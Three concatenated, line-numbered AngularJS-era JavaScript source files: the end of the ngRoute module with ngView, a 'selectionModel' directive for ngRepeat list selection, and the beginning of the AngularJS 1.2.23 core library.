377 * resolving all of the dependencies needed for the route change to occur.
378 * Typically this involves fetching the view template as well as any dependencies
379 * defined in `resolve` route property. Once all of the dependencies are resolved
380 * `$routeChangeSuccess` is fired.
381 *
382 * @param {Object} angularEvent Synthetic event object.
383 * @param {Route} next Future route information.
384 * @param {Route} current Current route information.
385 */
386
387 /**
388 * @ngdoc event
389 * @name $route#$routeChangeSuccess
390 * @eventType broadcast on root scope
391 * @description
392 * Broadcasted after a route dependencies are resolved.
393 * {@link ngRoute.directive:ngView ngView} listens for the directive
394 * to instantiate the controller and render the view.
395 *
396 * @param {Object} angularEvent Synthetic event object.
397 * @param {Route} current Current route information.
398 * @param {Route|Undefined} previous Previous route information, or undefined if current is
399 * first route entered.
400 */
401
402 /**
403 * @ngdoc event
404 * @name $route#$routeChangeError
405 * @eventType broadcast on root scope
406 * @description
407 * Broadcasted if any of the resolve promises are rejected.
408 *
409 * @param {Object} angularEvent Synthetic event object
410 * @param {Route} current Current route information.
411 * @param {Route} previous Previous route information.
412 * @param {Route} rejection Rejection of the promise. Usually the error of the failed promise.
413 */
414
415 /**
416 * @ngdoc event
417 * @name $route#$routeUpdate
418 * @eventType broadcast on root scope
419 * @description
420 *
421 * The `reloadOnSearch` property has been set to false, and we are reusing the same
422 * instance of the Controller.
423 */
424
425 var forceReload = false,
426 $route = {
427 routes: routes,
428
429 /**
430 * @ngdoc method
431 * @name $route#reload
432 *
433 * @description
434 * Causes `$route` service to reload the current route even if
435 * {@link ng.$location $location} hasn't changed.
436 *
437 * As a result of that, {@link ngRoute.directive:ngView ngView}
438 * creates new scope, reinstantiates the controller.
439 */
440 reload: function() {
441 forceReload = true;
442 $rootScope.$evalAsync(updateRoute);
443 }
444 };
445
446 $rootScope.$on('$locationChangeSuccess', updateRoute);
447
448 return $route;
449
450 /////////////////////////////////////////////////////
451
452 /**
453 * @param on {string} current url
454 * @param route {Object} route regexp to match the url against
455 * @return {?Object}
456 *
457 * @description
458 * Check if the route matches the current url.
459 *
460 * Inspired by match in
461 * visionmedia/express/lib/router/router.js.
462 */
463 function switchRouteMatcher(on, route) {
464 var keys = route.keys,
465 params = {};
466
467 if (!route.regexp) return null;
468
469 var m = route.regexp.exec(on);
470 if (!m) return null;
471
472 for (var i = 1, len = m.length; i < len; ++i) {
473 var key = keys[i - 1];
474
475 var val = m[i];
476
477 if (key && val) {
478 params[key.name] = val;
479 }
480 }
481 return params;
482 }
483
484 function updateRoute() {
485 var next = parseRoute(),
486 last = $route.current;
487
488 if (next && last && next.$$route === last.$$route
489 && angular.equals(next.pathParams, last.pathParams)
490 && !next.reloadOnSearch && !forceReload) {
491 last.params = next.params;
492 angular.copy(last.params, $routeParams);
493 $rootScope.$broadcast('$routeUpdate', last);
494 } else if (next || last) {
495 forceReload = false;
496 $rootScope.$broadcast('$routeChangeStart', next, last);
497 $route.current = next;
498 if (next) {
499 if (next.redirectTo) {
500 if (angular.isString(next.redirectTo)) {
501 $location.path(interpolate(next.redirectTo, next.params)).search(next.params)
502 .replace();
503 } else {
504 $location.url(next.redirectTo(next.pathParams, $location.path(), $location.search()))
505 .replace();
506 }
507 }
508 }
509
510 $q.when(next).
511 then(function() {
512 if (next) {
513 var locals = angular.extend({}, next.resolve),
514 template, templateUrl;
515
516 angular.forEach(locals, function(value, key) {
517 locals[key] = angular.isString(value) ?
518 $injector.get(value) : $injector.invoke(value);
519 });
520
521 if (angular.isDefined(template = next.template)) {
522 if (angular.isFunction(template)) {
523 template = template(next.params);
524 }
525 } else if (angular.isDefined(templateUrl = next.templateUrl)) {
526 if (angular.isFunction(templateUrl)) {
527 templateUrl = templateUrl(next.params);
528 }
529 templateUrl = $sce.getTrustedResourceUrl(templateUrl);
530 if (angular.isDefined(templateUrl)) {
531 next.loadedTemplateUrl = templateUrl;
532 template = $http.get(templateUrl, {cache: $templateCache}).
533 then(function(response) { return response.data; });
534 }
535 }
536 if (angular.isDefined(template)) {
537 locals['$template'] = template;
538 }
539 return $q.all(locals);
540 }
541 }).
542 // after route change
543 then(function(locals) {
544 if (next == $route.current) {
545 if (next) {
546 next.locals = locals;
547 angular.copy(next.params, $routeParams);
548 }
549 $rootScope.$broadcast('$routeChangeSuccess', next, last);
550 }
551 }, function(error) {
552 if (next == $route.current) {
553 $rootScope.$broadcast('$routeChangeError', next, last, error);
554 }
555 });
556 }
557 }
558
559
560 /**
561 * @returns {Object} the current active route, by matching it against the URL
562 */
563 function parseRoute() {
564 // Match a route
565 var params, match;
566 angular.forEach(routes, function(route, path) {
567 if (!match && (params = switchRouteMatcher($location.path(), route))) {
568 match = inherit(route, {
569 params: angular.extend({}, $location.search(), params),
570 pathParams: params});
571 match.$$route = route;
572 }
573 });
574 // No route matched; fallback to "otherwise" route
575 return match || routes[null] && inherit(routes[null], {params: {}, pathParams:{}});
576 }
577
578 /**
579 * @returns {string} interpolation of the redirect path with the parameters
580 */
581 function interpolate(string, params) {
582 var result = [];
583 angular.forEach((string||'').split(':'), function(segment, i) {
584 if (i === 0) {
585 result.push(segment);
586 } else {
587 var segmentMatch = segment.match(/(\w+)(.*)/);
588 var key = segmentMatch[1];
589 result.push(params[key]);
590 result.push(segmentMatch[2] || '');
591 delete params[key];
592 }
593 });
594 return result.join('');
595 }
596 }];
597 }
598
599 ngRouteModule.provider('$routeParams', $RouteParamsProvider);
600
601
602 /**
603 * @ngdoc service
604 * @name $routeParams
605 * @requires $route
606 *
607 * @description
608 * The `$routeParams` service allows you to retrieve the current set of route parameters.
609 *
610 * Requires the {@link ngRoute `ngRoute`} module to be installed.
611 *
612 * The route parameters are a combination of {@link ng.$location `$location`}'s
613 * {@link ng.$location#search `search()`} and {@link ng.$location#path `path()`}.
614 * The `path` parameters are extracted when the {@link ngRoute.$route `$route`} path is matched.
615 *
616 * In case of parameter name collision, `path` params take precedence over `search` params.
617 *
618 * The service guarantees that the identity of the `$routeParams` object will remain unchanged
619 * (but its properties will likely change) even when a route change occurs.
620 *
621 * Note that the `$routeParams` are only updated *after* a route change completes successfully.
622 * This means that you cannot rely on `$routeParams` being correct in route resolve functions.
623 * Instead you can use `$route.current.params` to access the new route's parameters.
624 *
625 * @example
626 * ```js
627 * // Given:
628 * // URL: http://server.com/index.html#/Chapter/1/Section/2?search=moby
629 * // Route: /Chapter/:chapterId/Section/:sectionId
630 * //
631 * // Then
632 * $routeParams ==> {chapterId:'1', sectionId:'2', search:'moby'}
633 * ```
634 */
635 function $RouteParamsProvider() {
636 this.$get = function() { return {}; };
637 }
638
639 ngRouteModule.directive('ngView', ngViewFactory);
640 ngRouteModule.directive('ngView', ngViewFillContentFactory);
641
642
643 /**
644 * @ngdoc directive
645 * @name ngView
646 * @restrict ECA
647 *
648 * @description
649 * # Overview
650 * `ngView` is a directive that complements the {@link ngRoute.$route $route} service by
651 * including the rendered template of the current route into the main layout (`index.html`) file.
652 * Every time the current route changes, the included view changes with it according to the
653 * configuration of the `$route` service.
654 *
655 * Requires the {@link ngRoute `ngRoute`} module to be installed.
656 *
657 * @animations
658 * enter - animation is used to bring new content into the browser.
659 * leave - animation is used to animate existing content away.
660 *
661 * The enter and leave animation occur concurrently.
662 *
663 * @scope
664 * @priority 400
665 * @param {string=} onload Expression to evaluate whenever the view updates.
666 *
667 * @param {string=} autoscroll Whether `ngView` should call {@link ng.$anchorScroll
668 * $anchorScroll} to scroll the viewport after the view is updated.
669 *
670 * - If the attribute is not set, disable scrolling.
671 * - If the attribute is set without value, enable scrolling.
672 * - Otherwise enable scrolling only if the `autoscroll` attribute value evaluated
673 * as an expression yields a truthy value.
674 * @example
675 <example name="ngView-directive" module="ngViewExample"
676 deps="angular-route.js;angular-animate.js"
677 animations="true" fixBase="true">
678 <file name="index.html">
679 <div ng-controller="MainCtrl as main">
680 Choose:
681 <a href="Book/Moby">Moby</a> |
682 <a href="Book/Moby/ch/1">Moby: Ch1</a> |
683 <a href="Book/Gatsby">Gatsby</a> |
684 <a href="Book/Gatsby/ch/4?key=value">Gatsby: Ch4</a> |
685 <a href="Book/Scarlet">Scarlet Letter</a><br/>
686
687 <div class="view-animate-container">
688 <div ng-view class="view-animate"></div>
689 </div>
690 <hr />
691
692 <pre>$location.path() = {{main.$location.path()}}</pre>
693 <pre>$route.current.templateUrl = {{main.$route.current.templateUrl}}</pre>
694 <pre>$route.current.params = {{main.$route.current.params}}</pre>
695 <pre>$route.current.scope.name = {{main.$route.current.scope.name}}</pre>
696 <pre>$routeParams = {{main.$routeParams}}</pre>
697 </div>
698 </file>
699
700 <file name="book.html">
701 <div>
702 controller: {{book.name}}<br />
703 Book Id: {{book.params.bookId}}<br />
704 </div>
705 </file>
706
707 <file name="chapter.html">
708 <div>
709 controller: {{chapter.name}}<br />
710 Book Id: {{chapter.params.bookId}}<br />
711 Chapter Id: {{chapter.params.chapterId}}
712 </div>
713 </file>
714
715 <file name="animations.css">
716 .view-animate-container {
717 position:relative;
718 height:100px!important;
719 position:relative;
720 background:white;
721 border:1px solid black;
722 height:40px;
723 overflow:hidden;
724 }
725
726 .view-animate {
727 padding:10px;
728 }
729
730 .view-animate.ng-enter, .view-animate.ng-leave {
731 -webkit-transition:all cubic-bezier(0.250, 0.460, 0.450, 0.940) 1.5s;
732 transition:all cubic-bezier(0.250, 0.460, 0.450, 0.940) 1.5s;
733
734 display:block;
735 width:100%;
736 border-left:1px solid black;
737
738 position:absolute;
739 top:0;
740 left:0;
741 right:0;
742 bottom:0;
743 padding:10px;
744 }
745
746 .view-animate.ng-enter {
747 left:100%;
748 }
749 .view-animate.ng-enter.ng-enter-active {
750 left:0;
751 }
752 .view-animate.ng-leave.ng-leave-active {
753 left:-100%;
754 }
755 </file>
756
757 <file name="script.js">
758 angular.module('ngViewExample', ['ngRoute', 'ngAnimate'])
759 .config(['$routeProvider', '$locationProvider',
760 function($routeProvider, $locationProvider) {
761 $routeProvider
762 .when('/Book/:bookId', {
763 templateUrl: 'book.html',
764 controller: 'BookCtrl',
765 controllerAs: 'book'
766 })
767 .when('/Book/:bookId/ch/:chapterId', {
768 templateUrl: 'chapter.html',
769 controller: 'ChapterCtrl',
770 controllerAs: 'chapter'
771 });
772
773 // configure html5 to get links working on jsfiddle
774 $locationProvider.html5Mode(true);
775 }])
776 .controller('MainCtrl', ['$route', '$routeParams', '$location',
777 function($route, $routeParams, $location) {
778 this.$route = $route;
779 this.$location = $location;
780 this.$routeParams = $routeParams;
781 }])
782 .controller('BookCtrl', ['$routeParams', function($routeParams) {
783 this.name = "BookCtrl";
784 this.params = $routeParams;
785 }])
786 .controller('ChapterCtrl', ['$routeParams', function($routeParams) {
787 this.name = "ChapterCtrl";
788 this.params = $routeParams;
789 }]);
790
791 </file>
792
793 <file name="protractor.js" type="protractor">
794 it('should load and compile correct template', function() {
795 element(by.linkText('Moby: Ch1')).click();
796 var content = element(by.css('[ng-view]')).getText();
797 expect(content).toMatch(/controller\: ChapterCtrl/);
798 expect(content).toMatch(/Book Id\: Moby/);
799 expect(content).toMatch(/Chapter Id\: 1/);
800
801 element(by.partialLinkText('Scarlet')).click();
802
803 content = element(by.css('[ng-view]')).getText();
804 expect(content).toMatch(/controller\: BookCtrl/);
805 expect(content).toMatch(/Book Id\: Scarlet/);
806 });
807 </file>
808 </example>
809 */
810
811
812 /**
813 * @ngdoc event
814 * @name ngView#$viewContentLoaded
815 * @eventType emit on the current ngView scope
816 * @description
817 * Emitted every time the ngView content is reloaded.
818 */
819 ngViewFactory.$inject = ['$route', '$anchorScroll', '$animate'];
820 function ngViewFactory( $route, $anchorScroll, $animate) {
821 return {
822 restrict: 'ECA',
823 terminal: true,
824 priority: 400,
825 transclude: 'element',
826 link: function(scope, $element, attr, ctrl, $transclude) {
827 var currentScope,
828 currentElement,
829 previousElement,
830 autoScrollExp = attr.autoscroll,
831 onloadExp = attr.onload || '';
832
833 scope.$on('$routeChangeSuccess', update);
834 update();
835
836 function cleanupLastView() {
837 if(previousElement) {
838 previousElement.remove();
839 previousElement = null;
840 }
841 if(currentScope) {
842 currentScope.$destroy();
843 currentScope = null;
844 }
845 if(currentElement) {
846 $animate.leave(currentElement, function() {
847 previousElement = null;
848 });
849 previousElement = currentElement;
850 currentElement = null;
851 }
852 }
853
854 function update() {
855 var locals = $route.current && $route.current.locals,
856 template = locals && locals.$template;
857
858 if (angular.isDefined(template)) {
859 var newScope = scope.$new();
860 var current = $route.current;
861
862 // Note: This will also link all children of ng-view that were contained in the original
863 // html. If that content contains controllers, ... they could pollute/change the scope.
864 // However, using ng-view on an element with additional content does not make sense...
865 // Note: We can't remove them in the cloneAttchFn of $transclude as that
866 // function is called before linking the content, which would apply child
867 // directives to non existing elements.
868 var clone = $transclude(newScope, function(clone) {
869 $animate.enter(clone, null, currentElement || $element, function onNgViewEnter () {
870 if (angular.isDefined(autoScrollExp)
871 && (!autoScrollExp || scope.$eval(autoScrollExp))) {
872 $anchorScroll();
873 }
874 });
875 cleanupLastView();
876 });
877
878 currentElement = clone;
879 currentScope = current.scope = newScope;
880 currentScope.$emit('$viewContentLoaded');
881 currentScope.$eval(onloadExp);
882 } else {
883 cleanupLastView();
884 }
885 }
886 }
887 };
888 }
889
890 // This directive is called during the $transclude call of the first `ngView` directive.
891 // It will replace and compile the content of the element with the loaded template.
892 // We need this directive so that the element content is already filled when
893 // the link function of another directive on the same element as ngView
894 // is called.
895 ngViewFillContentFactory.$inject = ['$compile', '$controller', '$route'];
896 function ngViewFillContentFactory($compile, $controller, $route) {
897 return {
898 restrict: 'ECA',
899 priority: -400,
900 link: function(scope, $element) {
901 var current = $route.current,
902 locals = current.locals;
903
904 $element.html(locals.$template);
905
906 var link = $compile($element.contents());
907
908 if (current.controller) {
909 locals.$scope = scope;
910 var controller = $controller(current.controller, locals);
911 if (current.controllerAs) {
912 scope[current.controllerAs] = controller;
913 }
914 $element.data('$ngControllerController', controller);
915 $element.children().data('$ngControllerController', controller);
916 }
917
918 link(scope);
919 }
920 };
921 }
922
923
924 })(window, window.angular);
0
1 /**
2 * The Selection Model module
3 *
4 * The ngRepeat companion. This module exists to give developers a lightweight
5 * option for easily managing selections in lists and tables. It also aims to
6 * play nicely with native angular features so you can leverage existing tools
7 * for filtering, sorting, animations, etc.
8 *
9 * @package selectionModel
10 */
11
12 angular.module('selectionModel', []);
13
14
15 angular.module('selectionModel').directive('selectionModel', [
16 'selectionStack', 'uuidGen', 'selectionModelOptions',
17 function(selectionStack, uuidGen, selectionModelOptions) {
18 'use strict';
19 return {
20 restrict: 'A',
21 link: function(scope, element, attrs) {
22
23 /**
24 * Defaults from the options provider
25 *
26 * Use `selectionModelOptionsProvider` when configuring your module to
27 * set application wide defaults
28 */
29 var defaultOptions = selectionModelOptions.get()
30 , defaultSelectedAttribute = defaultOptions.selectedAttribute
31 , defaultSelectedClass = defaultOptions.selectedClass
32 , defaultType = defaultOptions.type
33 , defaultMode = defaultOptions.mode
34 , defaultCleanupStrategy = defaultOptions.cleanupStrategy;
35
36 /**
37 * The selection model type
38 *
39 * Controls how selections are presented on the underlying element. Use
40 * 'basic' (the default) to simplye assign a "selected" class to
41 * selected items. If set to 'checkbox' it'll also sync the checked
42 * state of the first checkbox child in each underlying `tr` or `li`
43 * element.
44 *
45 * Note that the 'checkbox' type assumes the first input child element
46 * will be the checkbox.
47 */
48 var smType = attrs.selectionModelType || defaultType;
49
50 /**
51 * The selection mode
52 *
53 * Supports 'single', 'multi[ple]', and 'multi[ple]-additive'. Single
54 * mode will only allow one item to be marked as selected at a time.
55 * Vanilla multi mode allows for multiple selectioned items but requires
56 * modifier keys to select more than one item at a time. Additive-multi
57 * mode allows for multiple items to be selected and will not deselect
58 * other items when a vanilla click is made. Additive multi also allows
59 * for de-selection without a modifier key (think of `'multi-additive'`
60 * as turning every click into a ctrl-click.
61 */
62 var smMode = attrs.selectionModelMode || defaultMode
63 , isMultiMode = /^multi(ple)?(-additive)?$/.test(smMode)
64 , isModeAdditive = /^multi(ple)?-additive/.test(smMode);
65
66 /**
67 * The item attribute to track selected status
68 *
69 * Use `selection-model-selected-attribute` to override the default
70 * attribute.
71 */
72 var selectedAttribute = attrs.selectionModelSelectedAttribute || defaultSelectedAttribute;
73
74 /**
75 * The selected class name
76 *
77 * Will be applied to dom items (e.g. `tr` or `li`) representing
78 * selected items. Use `selection-model-selected-class` to override the
79 * default class name.
80 */
81 var selectedClass = attrs.selectionModelSelectedClass || defaultSelectedClass;
82
83 /**
84 * The cleanup strategy
85 *
86 * How to handle items that are removed from the current view. By
87 * default no action is taken, you may set this to `deselect` to force
88 * items to be deselected when they are filtered away, paged away, or
89 * otherwise no longer visible on the client.
90 */
91 var cleanupStrategy = attrs.selectionModelCleanupStrategy || defaultCleanupStrategy;
92
93 /**
94 * The list of items
95 *
96 * selectionModel must be attached to the same element as an ngRepeat
97 */
98 var repeatLine = attrs.ngRepeat;
99 if(!repeatLine) {
100 throw 'selectionModel must be used along side ngRepeat';
101 }
102
103 /**
104 * The list of selected items
105 *
106 * If used should resolve to an (initially empty) array. Use this in
107 * your view as **read only** if you'd like to do something with just
108 * the selected items. Note that order is not guarenteed and any items
109 * added to this array programmatically are ignored.
110 */
111 var selectedItemsList = scope.$eval(attrs.selectionModelSelectedItems);
112
113 /**
114 * The last-click stack id
115 *
116 * There may be multiple selection models on the page and each will need
117 * independent click stacks.
118 */
119 var clickStackId = (function() {
120 if(!isMultiMode) {
121 return null;
122 }
123 var idAttr = 'data-selection-model-stack-id';
124 // Id may be cached on this element
125 var stackId = element.attr(idAttr);
126 if(stackId) {
127 return stackId;
128 }
129
130 // Otherwise it may be on the partent
131 stackId = element.parent().attr(idAttr);
132 if(stackId) {
133 element.attr(idAttr, stackId);
134 return stackId;
135 }
136
137 // welp guess we're the first, create a new one and cache it on this
138 // element (for us) and the parent element (for others)
139 stackId = uuidGen.create();
140 element.attr(idAttr, stackId);
141 element.parent().attr(idAttr, stackId);
142 return stackId;
143 }());
144
145 var repeatParts = repeatLine.split(' in ')
146 , smItem = scope.$eval(repeatParts[0]);
147
148 var updateDom = function() {
149 if(smItem[selectedAttribute]) {
150 element.addClass(selectedClass);
151 } else {
152 element.removeClass(selectedClass);
153 }
154
155 if('checkbox' === smType) {
156 var cb = element.find('input');
157 cb.prop('checked', smItem[selectedAttribute]);
158 }
159 };
160
161 var getAllVisibleItems = function() {
162 return scope.$eval(repeatParts[1]);
163 };
164
165 // Strips away filters - this lets us e.g. deselect items that are
166 // filtered out
167 var getAllItems = function() {
168 return scope.$eval(repeatParts[1].split('|')[0]);
169 };
170
171 var deselectAllItems = function() {
172 angular.forEach(getAllItems(), function(item) {
173 item[selectedAttribute] = false;
174 });
175 if(angular.isArray(selectedItemsList)) {
176 selectedItemsList.length = 0;
177 }
178 };
179
180 var selectItemsBetween = function(lastItem) {
181 var allItems = getAllVisibleItems()
182 , foundLastItem = false
183 , foundThisItem = false;
184
185 lastItem = lastItem || smItem;
186
187 angular.forEach(getAllVisibleItems(), function(item) {
188 foundThisItem = foundThisItem || item === smItem;
189 foundLastItem = foundLastItem || item === lastItem;
190 var inRange = (foundLastItem + foundThisItem) === 1;
191 if(inRange || item === smItem || item === lastItem) {
192 item[selectedAttribute] = true;
193 }
194 });
195 };
196
197 /**
198 * Item click handler
199 *
200 * Use the `ctrl` key to select/deselect while preserving the rest of
201 * your selection. Note your your selection mode must be set to
202 * `'multiple'` to allow for more than one selected item at a time. In
203 * single select mode you still must use the `ctrl` or `shitft` keys to
204 * deselect an item.
205 *
206 * The `shift` key allows you to select ranges of items at a time. Use
207 * `ctrl` + `shift` to select a range while preserving your existing
208 * selection. In single select mode `shift` behaves like `ctrl`.
209 *
210 * When an item is clicked with no modifier keys pressed it will be the
211 * only selected item.
212 *
213 * On Mac the `meta` key is treated as `ctrl`.
214 *
215 * Note that when using the `'checkbox'` selection model type clicking
216 * on a checkbox will have no effect on any row other than the one the
217 * checkbox is in.
218 */
219 var handleClick = function(event) {
220 var isCtrlKeyDown = event.ctrlKey || event.metaKey || isModeAdditive
221 , isShiftKeyDown = event.shiftKey
222 , target = event.target || event.srcElement
223 , isCheckboxClick = 'checkbox' === smType &&
224 'INPUT' === target.tagName &&
225 'checkbox' === target.type;
226
227 if(isCheckboxClick) {
228 event.stopPropagation();
229 }
230
231 // Select multiple allows for ranges - use shift key
232 if(isShiftKeyDown && isMultiMode && !isCheckboxClick) {
233 // Use ctrl+shift for additive ranges
234 if(!isCtrlKeyDown) {
235 scope.$apply(deselectAllItems);
236 }
237 selectItemsBetween(selectionStack.peek(clickStackId));
238 scope.$apply();
239 return;
240 }
241
242 // Use ctrl/shift without multi select to true toggle a row
243 if(isCtrlKeyDown || isShiftKeyDown || isCheckboxClick) {
244 var isSelected = !smItem[selectedAttribute];
245 if(!isMultiMode) {
246 deselectAllItems();
247 }
248 smItem[selectedAttribute] = isSelected;
249 if(smItem[selectedAttribute]) {
250 selectionStack.push(clickStackId, smItem);
251 }
252 scope.$apply();
253 return;
254 }
255
256 // Otherwise the clicked on row becomes the only selected item
257 deselectAllItems();
258 scope.$apply();
259
260 smItem[selectedAttribute] = true;
261 selectionStack.push(clickStackId, smItem);
262 scope.$apply();
263 };
264
265 element.on('click', handleClick);
266 if('checkbox' === smType) {
267 var elCb = element.find('input');
268 if(elCb[0] && 'checkbox' === elCb[0].type) {
269 element.find('input').on('click', handleClick);
270 }
271 }
272
273 // We might be coming in with a selection
274 updateDom();
275
276 // If we were given a cleanup strategy then setup a `'$destroy'`
277 // listener on the scope.
278 if('deselect' === cleanupStrategy) {
279 scope.$on('$destroy', function() {
280 smItem[selectedAttribute] = false;
281 });
282 }
283
284 scope.$watch(repeatParts[0] + '.' + selectedAttribute, function(newVal, oldVal) {
285 // Be mindful of programmatic changes to selected state
286 if(!isMultiMode && newVal && !oldVal) {
287 deselectAllItems();
288 smItem[selectedAttribute] = true;
289 }
290
291 if(angular.isArray(selectedItemsList)) {
292 var ixSmItem = selectedItemsList.indexOf(smItem);
293 if(smItem[selectedAttribute]) {
294 if(-1 === ixSmItem) {
295 selectedItemsList.push(smItem);
296 }
297 } else {
298 if(-1 < ixSmItem) {
299 selectedItemsList.splice(ixSmItem, 1);
300 }
301 }
302 }
303
304 updateDom();
305 });
306 }
307 };
308 }
309 ]);
310
311
312 /**
313 * Default options for the selection model directive
314 *
315 *
316 *
317 * @package selectionModel
318 */
319
320 angular.module('selectionModel').provider('selectionModelOptions', [function() {
321 'use strict';
322
323 var options = {
324 selectedAttribute: 'selected',
325 selectedClass: 'selected',
326 type: 'basic',
327 mode: 'single',
328 cleanupStrategy: 'none'
329 };
330
331 this.set = function(userOpts) {
332 angular.extend(options, userOpts);
333 };
334
335 this.$get = function() {
336 var exports = {
337 get: function() {
338 return angular.copy(options);
339 }
340 };
341 return exports;
342 };
343
344
345 }]);
346
347
348 angular.module('selectionModel').service('selectionStack', function() {
349 'use strict';
350 var exports = {}
351 , maxSize = 1000
352 , stacks = {};
353
354 exports.push = function(id, item) {
355 if(!stacks.hasOwnProperty(id)) {
356 stacks[id] = [];
357 }
358 var stack = stacks[id];
359 stack.push(item);
360 while(stack.length > maxSize) {
361 stack.shift();
362 }
363 return stack.length;
364 };
365
366 exports.pop = function(id) {
367 if(!stacks.hasOwnProperty(id)) {
368 stacks[id] = [];
369 }
370 var stack = stacks[id];
371 return stack.pop();
372 };
373
374 exports.peek = function(id) {
375 if(!stacks.hasOwnProperty(id)) {
376 stacks[id] = [];
377 }
378 var stack = stacks[id];
379 return stack.length ? stack[stack.length - 1] : undefined;
380 };
381
382 return exports;
383 });
384
385 /*jshint bitwise:false */
386
387 angular.module('selectionModel').service('uuidGen', function() {
388 'use strict';
389 var exports = {};
390 var uid = ['0', '0', '0'];
391
392 exports.create = function() {
393 var index = uid.length;
394 var digit;
395 while (index) {
396 index--;
397 digit = uid[index].charCodeAt(0);
398 if (digit === 57 /*'9'*/ ) {
399 uid[index] = 'A';
400 return uid.join('');
401 }
402 if (digit === 90 /*'Z'*/ ) {
403 uid[index] = '0';
404 } else {
405 uid[index] = String.fromCharCode(digit + 1);
406 return uid.join('');
407 }
408 }
409 uid.unshift('0');
410 return uid.join('');
411 };
412
413 return exports;
414 });
0 /**
1 * @license AngularJS v1.2.23
2 * (c) 2010-2014 Google, Inc. http://angularjs.org
3 * License: MIT
4 */
5 (function(window, document, undefined) {'use strict';
6
7 /**
8 * @description
9 *
10 * This object provides a utility for producing rich Error messages within
11 * Angular. It can be called as follows:
12 *
13 * var exampleMinErr = minErr('example');
14 * throw exampleMinErr('one', 'This {0} is {1}', foo, bar);
15 *
16 * The above creates an instance of minErr in the example namespace. The
17 * resulting error will have a namespaced error code of example.one. The
18 * resulting error will replace {0} with the value of foo, and {1} with the
19 * value of bar. The object is not restricted in the number of arguments it can
20 * take.
21 *
22 * If fewer arguments are specified than necessary for interpolation, the extra
23 * interpolation markers will be preserved in the final string.
24 *
25 * Since data will be parsed statically during a build step, some restrictions
26 * are applied with respect to how minErr instances are created and called.
27 * Instances should have names of the form namespaceMinErr for a minErr created
28 * using minErr('namespace') . Error codes, namespaces and template strings
29 * should all be static strings, not variables or general expressions.
30 *
31 * @param {string} module The namespace to use for the new minErr instance.
32 * @returns {function(code:string, template:string, ...templateArgs): Error} minErr instance
33 */
34
35 function minErr(module) {
36 return function () {
37 var code = arguments[0],
38 prefix = '[' + (module ? module + ':' : '') + code + '] ',
39 template = arguments[1],
40 templateArgs = arguments,
41 stringify = function (obj) {
42 if (typeof obj === 'function') {
43 return obj.toString().replace(/ \{[\s\S]*$/, '');
44 } else if (typeof obj === 'undefined') {
45 return 'undefined';
46 } else if (typeof obj !== 'string') {
47 return JSON.stringify(obj);
48 }
49 return obj;
50 },
51 message, i;
52
53 message = prefix + template.replace(/\{\d+\}/g, function (match) {
54 var index = +match.slice(1, -1), arg;
55
56 if (index + 2 < templateArgs.length) {
57 arg = templateArgs[index + 2];
58 if (typeof arg === 'function') {
59 return arg.toString().replace(/ ?\{[\s\S]*$/, '');
60 } else if (typeof arg === 'undefined') {
61 return 'undefined';
62 } else if (typeof arg !== 'string') {
63 return toJson(arg);
64 }
65 return arg;
66 }
67 return match;
68 });
69
70 message = message + '\nhttp://errors.angularjs.org/1.2.23/' +
71 (module ? module + '/' : '') + code;
72 for (i = 2; i < arguments.length; i++) {
73 message = message + (i == 2 ? '?' : '&') + 'p' + (i-2) + '=' +
74 encodeURIComponent(stringify(arguments[i]));
75 }
76
77 return new Error(message);
78 };
79 }
80
81 /* We need to tell jshint what variables are being exported */
82 /* global angular: true,
83 msie: true,
84 jqLite: true,
85 jQuery: true,
86 slice: true,
87 push: true,
88 toString: true,
89 ngMinErr: true,
90 angularModule: true,
91 nodeName_: true,
92 uid: true,
93 VALIDITY_STATE_PROPERTY: true,
94
95 lowercase: true,
96 uppercase: true,
97 manualLowercase: true,
98 manualUppercase: true,
99 nodeName_: true,
100 isArrayLike: true,
101 forEach: true,
102 sortedKeys: true,
103 forEachSorted: true,
104 reverseParams: true,
105 nextUid: true,
106 setHashKey: true,
107 extend: true,
108 int: true,
109 inherit: true,
110 noop: true,
111 identity: true,
112 valueFn: true,
113 isUndefined: true,
114 isDefined: true,
115 isObject: true,
116 isString: true,
117 isNumber: true,
118 isDate: true,
119 isArray: true,
120 isFunction: true,
121 isRegExp: true,
122 isWindow: true,
123 isScope: true,
124 isFile: true,
125 isBlob: true,
126 isBoolean: true,
127 isPromiseLike: true,
128 trim: true,
129 isElement: true,
130 makeMap: true,
131 map: true,
132 size: true,
133 includes: true,
134 indexOf: true,
135 arrayRemove: true,
136 isLeafNode: true,
137 copy: true,
138 shallowCopy: true,
139 equals: true,
140 csp: true,
141 concat: true,
142 sliceArgs: true,
143 bind: true,
144 toJsonReplacer: true,
145 toJson: true,
146 fromJson: true,
147 toBoolean: true,
148 startingTag: true,
149 tryDecodeURIComponent: true,
150 parseKeyValue: true,
151 toKeyValue: true,
152 encodeUriSegment: true,
153 encodeUriQuery: true,
154 angularInit: true,
155 bootstrap: true,
156 snake_case: true,
157 bindJQuery: true,
158 assertArg: true,
159 assertArgFn: true,
160 assertNotHasOwnProperty: true,
161 getter: true,
162 getBlockElements: true,
163 hasOwnProperty: true,
164 */
165
166 ////////////////////////////////////
167
168 /**
169 * @ngdoc module
170 * @name ng
171 * @module ng
172 * @description
173 *
174 * # ng (core module)
175 * The ng module is loaded by default when an AngularJS application is started. The module itself
176 * contains the essential components for an AngularJS application to function. The table below
177 * lists a high level breakdown of each of the services/factories, filters, directives and testing
178 * components available within this core module.
179 *
180 * <div doc-module-components="ng"></div>
181 */
182
183 // The name of a form control's ValidityState property.
184 // This is used so that it's possible for internal tests to create mock ValidityStates.
185 var VALIDITY_STATE_PROPERTY = 'validity';
186
187 /**
188 * @ngdoc function
189 * @name angular.lowercase
190 * @module ng
191 * @kind function
192 *
193 * @description Converts the specified string to lowercase.
194 * @param {string} string String to be converted to lowercase.
195 * @returns {string} Lowercased string.
196 */
197 var lowercase = function(string){return isString(string) ? string.toLowerCase() : string;};
198 var hasOwnProperty = Object.prototype.hasOwnProperty;
199
200 /**
201 * @ngdoc function
202 * @name angular.uppercase
203 * @module ng
204 * @kind function
205 *
206 * @description Converts the specified string to uppercase.
207 * @param {string} string String to be converted to uppercase.
208 * @returns {string} Uppercased string.
209 */
210 var uppercase = function(string){return isString(string) ? string.toUpperCase() : string;};
211
212
213 var manualLowercase = function(s) {
214 /* jshint bitwise: false */
215 return isString(s)
216 ? s.replace(/[A-Z]/g, function(ch) {return String.fromCharCode(ch.charCodeAt(0) | 32);})
217 : s;
218 };
219 var manualUppercase = function(s) {
220 /* jshint bitwise: false */
221 return isString(s)
